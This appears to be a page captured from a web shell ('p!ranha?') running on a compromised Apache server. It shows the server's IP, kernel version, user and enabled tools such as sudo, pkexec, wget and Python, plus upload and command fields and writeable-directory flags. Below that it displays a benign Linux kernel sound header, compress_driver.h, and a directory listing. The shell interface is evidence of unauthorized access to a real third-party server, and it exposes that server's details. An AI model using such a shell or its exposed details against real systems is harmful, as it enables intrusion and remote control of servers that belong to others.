p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/sound/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/sound/compress_driver.h
/*
 *  compress_driver.h - compress offload driver definations
 *
 *  Copyright (C) 2011 Intel Corporation
 *  Authors:	Vinod Koul <vinod.koul@linux.intel.com>
 *		Pierre-Louis Bossart <pierre-louis.bossart@linux.intel.com>
 *  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; version 2 of the License.
 *
 *  This program is distributed in the hope that it will be useful, but
 *  WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *  General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License along
 *  with this program; if not, write to the Free Software Foundation, Inc.,
 *  59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
 *
 * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 *
 */
#ifndef __COMPRESS_DRIVER_H
#define __COMPRESS_DRIVER_H

#include <linux/types.h>
#include <linux/sched.h>
#include <sound/compress_offload.h>
#include <sound/asound.h>
#include <sound/pcm.h>

struct snd_compr_ops;

/**
 * struct snd_compr_runtime: runtime stream description
 * @state: stream state
 * @ops: pointer to DSP callbacks
 * @dma_buffer_p: runtime dma buffer pointer
 * @buffer: pointer to kernel buffer, valid only when not in mmap mode or
 *	DSP doesn't implement copy
 * @buffer_size: size of the above buffer
 * @fragment_size: size of buffer fragment in bytes
 * @fragments: number of such fragments
 * @total_bytes_available: cumulative number of bytes made available in
 *	the ring buffer
 * @total_bytes_transferred: cumulative bytes transferred by offload DSP
 * @sleep: poll sleep
 * @private_data: driver private data pointer
 */
struct snd_compr_runtime {
	snd_pcm_state_t state;
	struct snd_compr_ops *ops;
	struct snd_dma_buffer *dma_buffer_p;
	void *buffer;
	u64 buffer_size;
	u32 fragment_size;
	u32 fragments;
	u64 total_bytes_available;
	u64 total_bytes_transferred;
	wait_queue_head_t sleep;
	void *private_data;
};

/**
 * struct snd_compr_stream: compressed stream
 * @name: device name
 * @ops: pointer to DSP callbacks
 * @runtime: pointer to runtime structure
 * @device: device pointer
 * @error_work: delayed work used when closing the stream due to an error
 * @direction: stream direction, playback/recording
 * @metadata_set: metadata set flag, true when set
 * @next_track: has userspace signal next track transition, true when set
 * @private_data: pointer to DSP private data
 */
struct snd_compr_stream {
	const char *name;
	struct snd_compr_ops *ops;
	struct snd_compr_runtime *runtime;
	struct snd_compr *device;
	struct delayed_work error_work;
	enum snd_compr_direction direction;
	bool metadata_set;
	bool next_track;
	void *private_data;
};

/**
 * struct snd_compr_ops: compressed path DSP operations
 * @open: Open the compressed stream
 * This callback is mandatory and shall keep dsp ready to receive the stream
 * parameter
 * @free: Close the compressed stream, mandatory
 * @set_params: Sets the compressed stream parameters, mandatory
 * This can be called in during stream creation only to set codec params
 * and the stream properties
 * @get_params: retrieve the codec parameters, mandatory
 * @set_metadata: Set the metadata values for a stream
 * @get_metadata: retrieves the requested metadata values from stream
 * @trigger: Trigger operations like start, pause, resume, drain, stop.
 * This callback is mandatory
 * @pointer: Retrieve current h/w pointer information. Mandatory
 * @copy: Copy the compressed data to/from userspace, Optional
 * Can't be implemented if DSP supports mmap
 * @mmap: DSP mmap method to mmap DSP memory
 * @ack: Ack for DSP when data is written to audio buffer, Optional
 * Not valid if copy is implemented
 * @get_caps: Retrieve DSP capabilities, mandatory
 * @get_codec_caps: Retrieve capabilities for a specific codec, mandatory
 */
struct snd_compr_ops {
	int (*open)(struct snd_compr_stream *stream);
	int (*free)(struct snd_compr_stream *stream);
	int (*set_params)(struct snd_compr_stream *stream,
			struct snd_compr_params *params);
	int (*get_params)(struct snd_compr_stream *stream,
			struct snd_codec *params);
	int (*set_metadata)(struct snd_compr_stream *stream,
			struct snd_compr_metadata *metadata);
	int (*get_metadata)(struct snd_compr_stream *stream,
			struct snd_compr_metadata *metadata);
	int (*trigger)(struct snd_compr_stream *stream, int cmd);
	int (*pointer)(struct snd_compr_stream *stream,
			struct snd_compr_tstamp *tstamp);
	int (*copy)(struct snd_compr_stream *stream, char __user *buf,
		       size_t count);
	int (*mmap)(struct snd_compr_stream *stream,
			struct vm_area_struct *vma);
	int (*ack)(struct snd_compr_stream *stream, size_t bytes);
	int (*get_caps) (struct snd_compr_stream *stream,
			struct snd_compr_caps *caps);
	int (*get_codec_caps) (struct snd_compr_stream *stream,
			struct snd_compr_codec_caps *codec);
};

/**
 * struct snd_compr: Compressed device
 * @name: DSP device name
 * @dev: associated device instance
 * @ops: pointer to DSP callbacks
 * @private_data: pointer to DSP pvt data
 * @card: sound card pointer
 * @direction: Playback or capture direction
 * @lock: device lock
 * @device: device id
 */
struct snd_compr {
	const char *name;
	struct device dev;
	struct snd_compr_ops *ops;
	void *private_data;
	struct snd_card *card;
	unsigned int direction;
	struct mutex lock;
	int device;
#ifdef CONFIG_SND_VERBOSE_PROCFS
	char id[64];
	struct snd_info_entry *proc_root;
	struct snd_info_entry *proc_info_entry;
#endif
};

/* compress device register APIs */
int snd_compress_register(struct snd_compr *device);
int snd_compress_deregister(struct snd_compr *device);
int snd_compress_new(struct snd_card *card, int device,
			int type, const char *id, struct snd_compr *compr);

/* dsp driver callback apis
 * For playback: driver should call snd_compress_fragment_elapsed() to let the
 * framework know that a fragment has been consumed from the ring buffer
 *
 * For recording: we want to know when a frame is available or when
 * at least one frame is available so snd_compress_frame_elapsed()
 * callback should be called when a encodeded frame is available
 */
static inline void snd_compr_fragment_elapsed(struct snd_compr_stream *stream)
{
	wake_up(&stream->runtime->sleep);
}

static inline void snd_compr_drain_notify(struct snd_compr_stream *stream)
{
	if (snd_BUG_ON(!stream))
		return;

	stream->runtime->state = SNDRV_PCM_STATE_SETUP;

	wake_up(&stream->runtime->sleep);
}

/**
 * snd_compr_set_runtime_buffer - Set the Compress runtime buffer
 * @substream: compress substream to set
 * @bufp: the buffer information, NULL to clear
 *
 * Copy the buffer information to runtime buffer when @bufp is non-NULL.
 * Otherwise it clears the current buffer information.
 */
static inline void snd_compr_set_runtime_buffer(
					struct snd_compr_stream *substream,
					struct snd_dma_buffer *bufp)
{
	struct snd_compr_runtime *runtime = substream->runtime;

	runtime->dma_buffer_p = bufp;
}

int snd_compr_stop_error(struct snd_compr_stream *stream,
			 snd_pcm_state_t state);

#endif
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
ac97_codec.h
28.204 KB
November 06 2023 09:15:52
0 / 0
0644
aci.h
2.4 KB
November 06 2023 09:15:52
0 / 0
0644
ad1816a.h
5.441 KB
November 06 2023 09:15:52
0 / 0
0644
ad1843.h
1.48 KB
November 06 2023 09:15:52
0 / 0
0644
aess.h
1.629 KB
November 06 2023 09:15:52
0 / 0
0644
ak4113.h
10.895 KB
November 06 2023 09:15:52
0 / 0
0644
ak4114.h
10.223 KB
November 06 2023 09:15:52
0 / 0
0644
ak4117.h
9.021 KB
November 06 2023 09:15:52
0 / 0
0644
ak4531_codec.h
3.099 KB
November 06 2023 09:15:52
0 / 0
0644
ak4xxx-adda.h
3.336 KB
November 06 2023 09:15:52
0 / 0
0644
asequencer.h
3.584 KB
November 06 2023 09:15:52
0 / 0
0644
asound.h
1.255 KB
November 06 2023 09:15:52
0 / 0
0644
asoundef.h
16.697 KB
November 06 2023 09:15:52
0 / 0
0644
atmel-abdac.h
0.624 KB
November 06 2023 09:15:52
0 / 0
0644
atmel-ac97c.h
1.389 KB
November 06 2023 09:15:52
0 / 0
0644
compress_driver.h
7.156 KB
November 06 2023 09:15:52
0 / 0
0644
control.h
8.821 KB
November 06 2023 09:15:52
0 / 0
0644
core.h
13.505 KB
November 06 2023 09:15:52
0 / 0
0644
cs4231-regs.h
8.281 KB
November 06 2023 09:15:52
0 / 0
0644
cs8403.h
8.626 KB
November 06 2023 09:15:52
0 / 0
0644
cs8427.h
10.399 KB
November 06 2023 09:15:52
0 / 0
0644
da7213.h
1.15 KB
November 06 2023 09:15:52
0 / 0
0644
da7219-aad.h
2.418 KB
November 06 2023 09:15:52
0 / 0
0644
da7219.h
1.067 KB
November 06 2023 09:15:52
0 / 0
0644
emu10k1.h
89.427 KB
November 06 2023 09:15:52
0 / 0
0644
emu10k1_synth.h
1.35 KB
November 06 2023 09:15:52
0 / 0
0644
emu8000.h
4.013 KB
November 06 2023 09:15:52
0 / 0
0644
emu8000_reg.h
10.214 KB
November 06 2023 09:15:52
0 / 0
0644
emux_legacy.h
5.374 KB
November 06 2023 09:15:52
0 / 0
0644
emux_synth.h
7.458 KB
November 06 2023 09:15:52
0 / 0
0644
es1688.h
3.561 KB
November 06 2023 09:15:52
0 / 0
0644
gus.h
20.262 KB
November 06 2023 09:15:52
0 / 0
0644
hda_chmap.h
2.598 KB
November 06 2023 09:15:52
0 / 0
0644
hda_codec.h
17.206 KB
November 06 2023 09:15:52
0 / 0
0644
hda_component.h
1.871 KB
November 06 2023 09:15:52
0 / 0
0644
hda_hwdep.h
1.379 KB
November 06 2023 09:15:52
0 / 0
0644
hda_i915.h
0.575 KB
November 06 2023 09:15:52
0 / 0
0644
hda_register.h
10.118 KB
November 06 2023 09:15:52
0 / 0
0644
hda_regmap.h
6.593 KB
November 06 2023 09:15:52
0 / 0
0644
hda_verbs.h
16.891 KB
November 06 2023 09:15:52
0 / 0
0644
hdaudio.h
19.89 KB
November 06 2023 09:15:52
0 / 0
0644
hdaudio_ext.h
7.064 KB
November 06 2023 09:15:52
0 / 0
0644
hwdep.h
2.563 KB
November 06 2023 09:15:52
0 / 0
0644
i2c.h
3.472 KB
November 06 2023 09:15:52
0 / 0
0644
info.h
8.541 KB
November 06 2023 09:15:52
0 / 0
0644
initval.h
3.084 KB
November 06 2023 09:15:52
0 / 0
0644
jack.h
3.726 KB
November 06 2023 09:15:52
0 / 0
0644
max98090.h
0.736 KB
November 06 2023 09:15:52
0 / 0
0644
memalloc.h
4.438 KB
November 06 2023 09:15:52
0 / 0
0644
minors.h
4.329 KB
November 06 2023 09:15:52
0 / 0
0644
mixer_oss.h
2.41 KB
November 06 2023 09:15:52
0 / 0
0644
mpu401.h
4.492 KB
November 06 2023 09:15:52
0 / 0
0644
opl3.h
12.312 KB
November 06 2023 09:15:52
0 / 0
0644
opl4.h
1.1 KB
November 06 2023 09:15:52
0 / 0
0644
pcm-indirect.h
5.696 KB
November 06 2023 09:15:52
0 / 0
0644
pcm.h
47.436 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_drm_eld.h
0.179 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_iec958.h
0.324 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_oss.h
2.693 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_params.h
8.62 KB
November 06 2023 09:15:52
0 / 0
0644
pt2258.h
1.177 KB
November 06 2023 09:15:52
0 / 0
0644
rawmidi.h
6.35 KB
November 06 2023 09:15:52
0 / 0
0644
rt286.h
0.449 KB
November 06 2023 09:15:52
0 / 0
0644
rt298.h
0.507 KB
November 06 2023 09:15:52
0 / 0
0644
rt5514.h
0.532 KB
November 06 2023 09:15:52
0 / 0
0644
rt5640.h
0.633 KB
November 06 2023 09:15:52
0 / 0
0644
rt5645.h
0.792 KB
November 06 2023 09:15:52
0 / 0
0644
rt5651.h
0.773 KB
November 06 2023 09:15:52
0 / 0
0644
rt5663.h
0.607 KB
November 06 2023 09:15:52
0 / 0
0644
rt5670.h
0.637 KB
November 06 2023 09:15:52
0 / 0
0644
sb.h
11.036 KB
November 06 2023 09:15:52
0 / 0
0644
sb16_csp.h
2.715 KB
November 06 2023 09:15:52
0 / 0
0644
seq_device.h
2.79 KB
November 06 2023 09:15:52
0 / 0
0644
seq_kernel.h
4.096 KB
November 06 2023 09:15:52
0 / 0
0644
seq_midi_emul.h
7.262 KB
November 06 2023 09:15:52
0 / 0
0644
seq_midi_event.h
1.997 KB
November 06 2023 09:15:52
0 / 0
0644
seq_oss.h
2.862 KB
November 06 2023 09:15:52
0 / 0
0644
seq_oss_legacy.h
1.003 KB
November 06 2023 09:15:52
0 / 0
0644
seq_virmidi.h
2.749 KB
November 06 2023 09:15:52
0 / 0
0644
sh_dac_audio.h
0.573 KB
November 06 2023 09:15:52
0 / 0
0644
snd_wavefront.h
5.523 KB
November 06 2023 09:15:52
0 / 0
0644
soc-acpi-intel-match.h
1.098 KB
November 06 2023 09:15:52
0 / 0
0644
soc-acpi.h
3.726 KB
November 06 2023 09:15:52
0 / 0
0644
soc-dai.h
11.201 KB
November 06 2023 09:15:52
0 / 0
0644
soc-dapm.h
30.688 KB
November 06 2023 09:15:52
0 / 0
0644
soc-dpcm.h
4.729 KB
November 06 2023 09:15:52
0 / 0
0644
soc-topology.h
5.666 KB
November 06 2023 09:15:52
0 / 0
0644
soc.h
63.288 KB
November 06 2023 09:15:52
0 / 0
0644
soundfont.h
4.484 KB
November 06 2023 09:15:52
0 / 0
0644
tea575x-tuner.h
2.614 KB
November 06 2023 09:15:52
0 / 0
0644
tea6330t.h
1.136 KB
November 06 2023 09:15:52
0 / 0
0644
timer.h
5.557 KB
November 06 2023 09:15:52
0 / 0
0644
tlv.h
2.268 KB
November 06 2023 09:15:52
0 / 0
0644
tlv320aic32x4.h
0.879 KB
November 06 2023 09:15:52
0 / 0
0644
tlv320aic3x.h
1.878 KB
November 06 2023 09:15:52
0 / 0
0644
tlv320dac33-plat.h
0.703 KB
November 06 2023 09:15:52
0 / 0
0644
util_mem.h
2.258 KB
November 06 2023 09:15:52
0 / 0
0644
vx_core.h
15.343 KB
November 06 2023 09:15:52
0 / 0
0644
wavefront.h
18.757 KB
November 06 2023 09:15:52
0 / 0
0644
wss.h
8.513 KB
November 06 2023 09:15:52
0 / 0
0644